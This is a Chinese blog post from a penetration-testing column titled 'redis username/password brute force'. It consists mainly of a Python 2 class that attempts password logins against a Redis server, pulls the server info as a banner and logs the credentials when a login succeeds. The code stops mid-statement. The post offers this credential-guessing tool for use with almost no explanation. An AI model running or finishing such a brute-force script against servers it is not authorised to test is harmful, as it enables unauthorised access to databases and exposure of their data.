redis用户名口令爆破

最新推荐文章于 2024-08-05 03:57:30 发布

wilson_xpp

最新推荐文章于 2024-08-05 03:57:30 发布

阅读量4.4k

点赞数

分类专栏：渗透测试文章标签： redis 暴力破解

本文链接：https://blog.csdn.net/wilson_xpp/article/details/79926832

版权

# coding:utf-8
import redis
import logging

LOGIN_TIMEOUT = 12


class RedisAuth:
    def __init__(self, (host, port)):
        self.addr = (host, port)


    def login(self, username='', password=''):
        conn_ok, auth_ok, banner = False, False, ''
        connection = None
        try:
            connection = redis.StrictRedis(host=self.addr[0], port=self.addr[1],
                                           password=password,
                                           db=0, socket_connect_timeout=LOGIN_TIMEOUT)
            conn_ok = True
            auth_ok = True
            info = connection.info()
            banner = str(info)
            logging.getLogger().warn('FOUND %s:%s@%s:%d<OK>' % (username, password, self.addr[0], self.addr[1]))
        except Exception as e:
            es = str(e)
            if es.find('Password')